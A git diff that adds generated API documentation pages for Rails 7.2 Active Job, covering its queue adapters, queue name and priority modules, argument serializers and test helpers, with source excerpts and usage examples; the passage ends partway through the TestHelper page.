diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/AbstractAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/AbstractAdapter.html new file mode 100644 index 0000000000..d2bb612d50 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/AbstractAdapter.html @@ -0,0 +1,193 @@ +--- +title: ActiveJob::QueueAdapters::AbstractAdapter +layout: default +--- +
+ +
+
+ +
+ +

Active Job Abstract Adapter

+ +

Active Job supports multiple job queue systems. ActiveJob::QueueAdapters::AbstractAdapter forms the abstraction layer which makes this possible.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + enqueue(job) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/abstract_adapter.rb, line 18
+      def enqueue(job)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enqueue_after_transaction_commit?() + +

+ + +
+

Defines whether enqueuing should happen implicitly to after commit when called from inside a transaction. Most adapters should return true, but some adapters that use the same database as Active Record and are transaction aware can return false to continue enqueuing jobs as part of the transaction.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/abstract_adapter.rb, line 14
+      def enqueue_after_transaction_commit?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + enqueue_at(job, timestamp) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/abstract_adapter.rb, line 22
+      def enqueue_at(job, timestamp)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/AsyncAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/AsyncAdapter.html new file mode 100644 index 0000000000..16d20bec7d --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/AsyncAdapter.html @@ -0,0 +1,132 @@ +--- +title: ActiveJob::QueueAdapters::AsyncAdapter +layout: default +--- +
+ +
+
+ +
+ +

Active Job Async adapter

+ +

The Async adapter runs jobs with an in-process thread pool.

+ +

This is the default queue adapter. It’s well-suited for dev/test since it doesn’t need an external infrastructure, but it’s a poor fit for production since it drops pending jobs on restart.

+ +

To use this adapter, set queue adapter to :async:

+ +
config.active_job.queue_adapter = :async
+
+ +

To configure the adapter’s thread pool, instantiate the adapter and pass your own config:

+ +
config.active_job.queue_adapter = ActiveJob::QueueAdapters::AsyncAdapter.new \
+  min_threads: 1,
+  max_threads: 2 * Concurrent.processor_count,
+  idletime: 600.seconds
+
+ +

The adapter uses a Concurrent Ruby thread pool to schedule and execute jobs. Since jobs share a single thread pool, long-running jobs will block short-lived jobs. Fine for dev/test; bad for production.

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(**executor_options) + +

+ + +
+

See Concurrent::ThreadPoolExecutor for executor options.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/async_adapter.rb, line 35
+      def initialize(**executor_options)
+        @scheduler = Scheduler.new(**executor_options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/BackburnerAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/BackburnerAdapter.html new file mode 100644 index 0000000000..ed03ee34a7 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/BackburnerAdapter.html @@ -0,0 +1,73 @@ +--- +title: ActiveJob::QueueAdapters::BackburnerAdapter +layout: default +--- +
+ +
+
+ +
+ +

Backburner adapter for Active Job

+ +

Backburner is a beanstalkd-powered job queue that can handle a very high volume of jobs. You create background jobs and place them on multiple work queues to be processed later. Read more about Backburner here.

+ +

To use Backburner set the queue_adapter config to :backburner.

+ +
Rails.application.config.active_job.queue_adapter = :backburner
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/DelayedJobAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/DelayedJobAdapter.html new file mode 100644 index 0000000000..f5dc39c012 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/DelayedJobAdapter.html @@ -0,0 +1,120 @@ +--- +title: ActiveJob::QueueAdapters::DelayedJobAdapter +layout: default +--- +
+ +
+
+ +
+ +

Delayed Job adapter for Active Job

+ +

Delayed::Job (or DJ) encapsulates the common pattern of asynchronously executing longer tasks in the background. Although DJ can have many storage backends, one of the most used is based on Active Record. Read more about Delayed Job here.

+ +

To use Delayed Job, set the queue_adapter config to :delayed_job.

+ +
Rails.application.config.active_job.queue_adapter = :delayed_job
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(enqueue_after_transaction_commit: false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/delayed_job_adapter.rb, line 19
+      def initialize(enqueue_after_transaction_commit: false)
+        @enqueue_after_transaction_commit = enqueue_after_transaction_commit
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/InlineAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/InlineAdapter.html new file mode 100644 index 0000000000..ba64913449 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/InlineAdapter.html @@ -0,0 +1,73 @@ +--- +title: ActiveJob::QueueAdapters::InlineAdapter +layout: default +--- +
+ +
+
+ +
+ +

Active Job Inline adapter

+ +

When enqueuing jobs with the Inline adapter the job will be executed immediately.

+ +

To use the Inline set the queue_adapter config to :inline.

+ +
Rails.application.config.active_job.queue_adapter = :inline
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/QueueClassicAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/QueueClassicAdapter.html new file mode 100644 index 0000000000..6559f6d5dd --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/QueueClassicAdapter.html @@ -0,0 +1,166 @@ +--- +title: ActiveJob::QueueAdapters::QueueClassicAdapter +layout: default +--- +
+ +
+
+ +
+ +

queue_classic adapter for Active Job

+ +

queue_classic provides a simple interface to a PostgreSQL-backed message queue. queue_classic specializes in concurrent locking and minimizing database load while providing a simple, intuitive developer experience. queue_classic assumes that you are already using PostgreSQL in your production environment and that adding another dependency (e.g. redis, beanstalkd, 0mq) is undesirable.

+ +

Read more about queue_classic here.

+ +

To use queue_classic set the queue_adapter config to :queue_classic.

+ +
Rails.application.config.active_job.queue_adapter = :queue_classic
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(enqueue_after_transaction_commit: false) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb, line 22
+      def initialize(enqueue_after_transaction_commit: false)
+        @enqueue_after_transaction_commit = enqueue_after_transaction_commit
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + build_queue(queue_name) + +

+ + +
+

Builds a QC::Queue object to schedule jobs on.

+ +

If you have a custom QC::Queue subclass you’ll need to subclass ActiveJob::QueueAdapters::QueueClassicAdapter and override the build_queue method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/queue_classic_adapter.rb, line 53
+      def build_queue(queue_name)
+        QC::Queue.new(queue_name)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/ResqueAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/ResqueAdapter.html new file mode 100644 index 0000000000..3295dc9813 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/ResqueAdapter.html @@ -0,0 +1,75 @@ +--- +title: ActiveJob::QueueAdapters::ResqueAdapter +layout: default +--- +
+ +
+
+ +
+ +

Resque adapter for Active Job

+ +

Resque (pronounced like β€œrescue”) is a Redis-backed library for creating background jobs, placing those jobs on multiple queues, and processing them later.

+ +

Read more about Resque here.

+ +

To use Resque set the queue_adapter config to :resque.

+ +
Rails.application.config.active_job.queue_adapter = :resque
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/SidekiqAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/SidekiqAdapter.html new file mode 100644 index 0000000000..2d921a9465 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/SidekiqAdapter.html @@ -0,0 +1,75 @@ +--- +title: ActiveJob::QueueAdapters::SidekiqAdapter +layout: default +--- +
+ +
+
+ +
+ +

Sidekiq adapter for Active Job

+ +

Simple, efficient background processing for Ruby. Sidekiq uses threads to handle many jobs at the same time in the same process. It does not require Rails but will integrate tightly with it to make background processing dead simple.

+ +

Read more about Sidekiq here.

+ +

To use Sidekiq set the queue_adapter config to :sidekiq.

+ +
Rails.application.config.active_job.queue_adapter = :sidekiq
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/SneakersAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/SneakersAdapter.html new file mode 100644 index 0000000000..d4965ff19b --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/SneakersAdapter.html @@ -0,0 +1,122 @@ +--- +title: ActiveJob::QueueAdapters::SneakersAdapter +layout: default +--- +
+ +
+
+ +
+ +

Sneakers adapter for Active Job

+ +

A high-performance RabbitMQ background processing framework for Ruby. Sneakers is being used in production for both I/O and CPU intensive workloads, and have achieved the goals of high-performance and 0-maintenance, as designed.

+ +

Read more about Sneakers here.

+ +

To use Sneakers set the queue_adapter config to :sneakers.

+ +
Rails.application.config.active_job.queue_adapter = :sneakers
+
+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/sneakers_adapter.rb, line 21
+      def initialize
+        @monitor = Monitor.new
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/SuckerPunchAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/SuckerPunchAdapter.html new file mode 100644 index 0000000000..61dc5e55cf --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/SuckerPunchAdapter.html @@ -0,0 +1,75 @@ +--- +title: ActiveJob::QueueAdapters::SuckerPunchAdapter +layout: default +--- +
+ +
+
+ +
+ +

Sucker Punch adapter for Active Job

+ +

Sucker Punch is a single-process Ruby asynchronous processing library. This reduces the cost of hosting on a service like Heroku along with the memory footprint of having to maintain additional jobs if hosting on a dedicated server. All queues can run within a single application (e.g. Rails, Sinatra, etc.) process.

+ +

Read more about Sucker Punch here.

+ +

To use Sucker Punch set the queue_adapter config to :sucker_punch.

+ +
Rails.application.config.active_job.queue_adapter = :sucker_punch
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueAdapters/TestAdapter.html b/src/7.2/classes/ActiveJob/QueueAdapters/TestAdapter.html new file mode 100644 index 0000000000..5fcc4f06b3 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueAdapters/TestAdapter.html @@ -0,0 +1,279 @@ +--- +title: ActiveJob::QueueAdapters::TestAdapter +layout: default +--- +
+ +
+
+ +
+ +

Test adapter for Active Job

+ +

The test adapter should be used only in testing. Along with ActiveJob::TestCase and ActiveJob::TestHelper it makes a great tool to test your Rails application.

+ +

To use the test adapter set queue_adapter config to :test.

+ +
Rails.application.config.active_job.queue_adapter = :test
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ [RW] + at
+ [RW] + enqueue_after_transaction_commit
+ [W] + enqueued_jobs
+ [RW] + filter
+ [RW] + perform_enqueued_at_jobs
+ [RW] + perform_enqueued_jobs
+ [W] + performed_jobs
+ [RW] + queue
+ [RW] + reject
+ + + + +

Class Public methods

+ +
+

+ + new(enqueue_after_transaction_commit: true) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/test_adapter.rb, line 18
+      def initialize(enqueue_after_transaction_commit: true)
+        @enqueue_after_transaction_commit = enqueue_after_transaction_commit
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + enqueued_jobs() + +

+ + +
+

Provides a store of all the enqueued jobs with the TestAdapter so you can check them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/test_adapter.rb, line 27
+      def enqueued_jobs
+        @enqueued_jobs ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + performed_jobs() + +

+ + +
+

Provides a store of all the performed jobs with the TestAdapter so you can check them.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_adapters/test_adapter.rb, line 32
+      def performed_jobs
+        @performed_jobs ||= []
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueName.html b/src/7.2/classes/ActiveJob/QueueName.html new file mode 100644 index 0000000000..7f6219bdfa --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueName.html @@ -0,0 +1,117 @@ +--- +title: ActiveJob::QueueName +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + queue_name() + +

+ + +
+

Returns the name of the queue the job will be run on.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_name.rb, line 61
+    def queue_name
+      if @queue_name.is_a?(Proc)
+        @queue_name = self.class.queue_name_from_part(instance_exec(&@queue_name))
+      end
+      @queue_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueueName/ClassMethods.html b/src/7.2/classes/ActiveJob/QueueName/ClassMethods.html new file mode 100644 index 0000000000..f2cefc4b81 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueueName/ClassMethods.html @@ -0,0 +1,139 @@ +--- +title: ActiveJob::QueueName::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Includes the ability to override the default queue name and prefix.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + queue_as(part_name = nil, &block) + +

+ + +
+

Specifies the name of the queue to process the job on.

+ +
class PublishToFeedJob < ActiveJob::Base
+  queue_as :feeds
+
+  def perform(post)
+    post.to_feed!
+  end
+end
+
+ +

Can be given a block that will evaluate in the context of the job so that a dynamic queue name can be applied:

+ +
class PublishToFeedJob < ApplicationJob
+  queue_as do
+    post = self.arguments.first
+
+    if post.paid?
+      :paid_feeds
+    else
+      :feeds
+    end
+  end
+
+  def perform(post)
+    post.to_feed!
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_name.rb, line 39
+      def queue_as(part_name = nil, &block)
+        if block_given?
+          self.queue_name = block
+        else
+          self.queue_name = queue_name_from_part(part_name)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueuePriority.html b/src/7.2/classes/ActiveJob/QueuePriority.html new file mode 100644 index 0000000000..e8f4c7412f --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueuePriority.html @@ -0,0 +1,117 @@ +--- +title: ActiveJob::QueuePriority +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + priority() + +

+ + +
+

Returns the priority that the job will be created with

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_priority.rb, line 53
+    def priority
+      if @priority.is_a?(Proc)
+        @priority = instance_exec(&@priority)
+      end
+      @priority
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/QueuePriority/ClassMethods.html b/src/7.2/classes/ActiveJob/QueuePriority/ClassMethods.html new file mode 100644 index 0000000000..7ea5615444 --- /dev/null +++ b/src/7.2/classes/ActiveJob/QueuePriority/ClassMethods.html @@ -0,0 +1,139 @@ +--- +title: ActiveJob::QueuePriority::ClassMethods +layout: default +--- +
+ +
+
+ +
+ +

Includes the ability to override the default queue priority.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + queue_with_priority(priority = nil, &block) + +

+ + +
+

Specifies the priority of the queue to create the job with.

+ +
class PublishToFeedJob < ActiveJob::Base
+  queue_with_priority 50
+
+  def perform(post)
+    post.to_feed!
+  end
+end
+
+ +

Can be given a block that will evaluate in the context of the job so that a dynamic priority can be applied:

+ +
class PublishToFeedJob < ApplicationJob
+  queue_with_priority do
+    post = self.arguments.first
+
+    if post.paid?
+      10
+    else
+      50
+    end
+  end
+
+  def perform(post)
+    post.to_feed!
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/queue_priority.rb, line 39
+      def queue_with_priority(priority = nil, &block)
+        if block_given?
+          self.priority = block
+        else
+          self.priority = priority
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/SerializationError.html b/src/7.2/classes/ActiveJob/SerializationError.html new file mode 100644 index 0000000000..2782bef258 --- /dev/null +++ b/src/7.2/classes/ActiveJob/SerializationError.html @@ -0,0 +1,66 @@ +--- +title: ActiveJob::SerializationError +layout: default +--- +
+ +
+
+ +
+ +

Raised when an unsupported argument type is set as a job argument. We currently support String, Integer, Float, NilClass, TrueClass, FalseClass, BigDecimal, Symbol, Date, Time, DateTime, ActiveSupport::TimeWithZone, ActiveSupport::Duration, Hash, ActiveSupport::HashWithIndifferentAccess, Array, Range, or GlobalID::Identification instances, although this can be extended by adding custom serializers. Raised if you set the key for a Hash something else than a string or a symbol. Also raised when trying to serialize an object which can’t be identified with a GlobalID - such as an unpersisted Active Record model.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Serializers.html b/src/7.2/classes/ActiveJob/Serializers.html new file mode 100644 index 0000000000..638767afa6 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Serializers.html @@ -0,0 +1,91 @@ +--- +title: ActiveJob::Serializers +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Serializers/ObjectSerializer.html b/src/7.2/classes/ActiveJob/Serializers/ObjectSerializer.html new file mode 100644 index 0000000000..0f63e32045 --- /dev/null +++ b/src/7.2/classes/ActiveJob/Serializers/ObjectSerializer.html @@ -0,0 +1,266 @@ +--- +title: ActiveJob::Serializers::ObjectSerializer +layout: default +--- +
+ +
+
+ +
+ +

Base class for serializing and deserializing custom objects.

+ +

Example:

+ +
class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
+  def serialize(money)
+    super("amount" => money.amount, "currency" => money.currency)
+  end
+
+  def deserialize(hash)
+    Money.new(hash["amount"], hash["currency"])
+  end
+
+  private
+
+    def klass
+      Money
+    end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + deserialize(json) + +

+ + +
+

Deserializes an argument from a JSON primitive type.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/object_serializer.rb, line 44
+      def deserialize(json)
+        raise NotImplementedError
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(hash) + +

+ + +
+

Serializes an argument to a JSON primitive type.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/object_serializer.rb, line 39
+      def serialize(hash)
+        { Arguments::OBJECT_SERIALIZER_KEY => self.class.name }.merge!(hash)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize?(argument) + +

+ + +
+

Determines if an argument should be serialized by a serializer.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/object_serializer.rb, line 34
+      def serialize?(argument)
+        argument.is_a?(klass)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + +

Instance Private methods

+ +
+

+ + klass() + +

+ + +
+

The class of the object that will be serialized.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/object_serializer.rb, line 50
+        def klass # :doc:
+          raise NotImplementedError
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/Serializers/RangeSerializer.html b/src/7.2/classes/ActiveJob/Serializers/RangeSerializer.html new file mode 100644 index 0000000000..f9a4f0e09b --- /dev/null +++ b/src/7.2/classes/ActiveJob/Serializers/RangeSerializer.html @@ -0,0 +1,160 @@ +--- +title: ActiveJob::Serializers::RangeSerializer +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
KEYS=%w[begin end exclude_end].freeze
+ + + + + + + +

Instance Public methods

+ +
+

+ + deserialize(hash) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/range_serializer.rb, line 13
+      def deserialize(hash)
+        klass.new(*Arguments.deserialize(hash.values_at(*KEYS)))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + serialize(range) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/serializers/range_serializer.rb, line 8
+      def serialize(range)
+        args = Arguments.serialize([range.begin, range.end, range.exclude_end?])
+        super(KEYS.zip(args).to_h)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/TestCase.html b/src/7.2/classes/ActiveJob/TestCase.html new file mode 100644 index 0000000000..f59e7e91c2 --- /dev/null +++ b/src/7.2/classes/ActiveJob/TestCase.html @@ -0,0 +1,74 @@ +--- +title: ActiveJob::TestCase +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + +

Included Modules

+ + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveJob/TestHelper.html b/src/7.2/classes/ActiveJob/TestHelper.html new file mode 100644 index 0000000000..65b28e01db --- /dev/null +++ b/src/7.2/classes/ActiveJob/TestHelper.html @@ -0,0 +1,1012 @@ +--- +title: ActiveJob::TestHelper +layout: default +--- +
+ +
+
+ +
+ +

Provides helper methods for testing Active Job

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + assert_enqueued_jobs(number, only: nil, except: nil, queue: nil, &block) + +

+ + +
+

Asserts that the number of enqueued jobs matches the given number.

+ +
def test_jobs
+  assert_enqueued_jobs 0
+  HelloJob.perform_later('david')
+  assert_enqueued_jobs 1
+  HelloJob.perform_later('abdelkader')
+  assert_enqueued_jobs 2
+end
+
+ +

If a block is passed, asserts that the block will cause the specified number of jobs to be enqueued.

+ +
def test_jobs_again
+  assert_enqueued_jobs 1 do
+    HelloJob.perform_later('cristian')
+  end
+
+  assert_enqueued_jobs 2 do
+    HelloJob.perform_later('aaron')
+    HelloJob.perform_later('rafael')
+  end
+end
+
+ +

Asserts the number of times a specific job was enqueued by passing :only option.

+ +
def test_logging_job
+  assert_enqueued_jobs 1, only: LoggingJob do
+    LoggingJob.perform_later
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

Asserts the number of times a job except specific class was enqueued by passing :except option.

+ +
def test_logging_job
+  assert_enqueued_jobs 1, except: HelloJob do
+    LoggingJob.perform_later
+    HelloJob.perform_later('jeremy')
+  end
+end
+
+ +

:only and :except options accept Class, Array of Class, or Proc. When passed a Proc, a hash containing the job’s class and it’s argument are passed as argument.

+ +

Asserts the number of times a job is enqueued to a specific queue by passing :queue option.

+ +
def test_logging_job
+  assert_enqueued_jobs 2, queue: 'default' do
+    LoggingJob.perform_later
+    HelloJob.perform_later('elfassy')
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 122
+    def assert_enqueued_jobs(number, only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_enqueued_jobs")
+
+      if block_given?
+        original_jobs = enqueued_jobs_with(only: only, except: except, queue: queue)
+
+        _assert_nothing_raised_or_warn("assert_enqueued_jobs", &block)
+
+        new_jobs = enqueued_jobs_with(only: only, except: except, queue: queue)
+
+        actual_count = (new_jobs - original_jobs).count
+      else
+        actual_count = enqueued_jobs_with(only: only, except: except, queue: queue).count
+      end
+
+      assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block) + +

+ + +
+

Asserts that the job has been enqueued with the given arguments.

+ +
def test_assert_enqueued_with
+  MyJob.perform_later(1,2,3)
+  assert_enqueued_with(job: MyJob, args: [1,2,3])
+
+  MyJob.set(wait_until: Date.tomorrow.noon, queue: "my_queue").perform_later
+  assert_enqueued_with(at: Date.tomorrow.noon, queue: "my_queue")
+end
+
+ +

For keyword arguments, specify them as a hash inside an array:

+ +
def test_assert_enqueued_with_keyword_arguments
+  MyJob.perform_later(arg1: 'value1', arg2: 'value2')
+  assert_enqueued_with(job: MyJob, args: [{ arg1: 'value1', arg2: 'value2' }])
+end
+
+ +

The given arguments may also be specified as matcher procs that return a boolean value indicating whether a job’s attribute meets certain criteria.

+ +

For example, a proc can be used to match a range of times:

+ +
def test_assert_enqueued_with
+  at_matcher = ->(job_at) { (Date.yesterday..Date.tomorrow).cover?(job_at) }
+
+  MyJob.set(wait_until: Date.today.noon).perform_later
+
+  assert_enqueued_with(job: MyJob, at: at_matcher)
+end
+
+ +

A proc can also be used to match a subset of a job’s args:

+ +
def test_assert_enqueued_with
+  args_matcher = ->(job_args) { job_args[0].key?(:foo) }
+
+  MyJob.perform_later(foo: "bar", other_arg: "No need to check in the test")
+
+  assert_enqueued_with(job: MyJob, args: args_matcher)
+end
+
+ +

If a block is passed, asserts that the block will cause the job to be enqueued with the given arguments.

+ +
def test_assert_enqueued_with
+  assert_enqueued_with(job: MyJob, args: [1,2,3]) do
+    MyJob.perform_later(1,2,3)
+  end
+
+  assert_enqueued_with(job: MyJob, at: Date.tomorrow.noon) do
+    MyJob.set(wait_until: Date.tomorrow.noon).perform_later
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activejob/lib/active_job/test_helper.rb, line 406
+    def assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block)
+      require_active_job_test_adapter!("assert_enqueued_with")
+
+      expected = { job: job, args: args, at: at, queue: queue, priority: priority }.compact
+      expected_args = prepare_args_for_assertion(expected)
+      potential_matches = []
+
+      if block_given?
+        original_enqueued_jobs = enqueued_jobs.dup
+
+        _assert_nothing_raised_or_warn("assert_enqueued_with", &block)
+
+        jobs = enqueued_jobs - original_enqueued_jobs
+      else
+        jobs = enqueued_jobs
+      end
+
+      matching_job = jobs.find do |enqueued_job|
+        deserialized_job = deserialize_args_for_assertion(enqueued_job)
+        potential_matches << deserialized_job
+
+        expected_args.all? do |key, value|
+          if value.respond_to?(:call)
+            value.call(deserialized_job[key])
+          else
+            value == deserialized_job[key]
+          end
+        end
+      end
+
+      matching_class = potential_matches.select do |enqueued_job|
+        enqueued_job["job_class"] == job.to_s
+      end
+
+      message = +"No enqueued job found with #{expected}"
+      if potential_matches.empty?
+        message << "\n\nNo jobs were enqueued"
+      elsif matching_class.empty?
+        message << "\n\nNo jobs of class #{expected[:job]} were enqueued, job classes enqueued: "
+        message << potential_matches.map { |job| job["job_class"] }.join(", ")
+      else
+        message << "\n\nPotential matches: #{matching_class.join("\n")}"
+      end
+
+      assert matching_job, message
+      instantiate_job(matching_job)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + assert_no_enqueued_jobs(only: nil, except: nil, queue: nil, &block) + +

+ + +
+

Asserts that no jobs have been enqueued.

+ +
def test_jobs
+  assert_no_enqueued_jobs
+  HelloJob.perform_later('jeremy')
+  assert_enqueued_jobs 1
+end
+
+ +

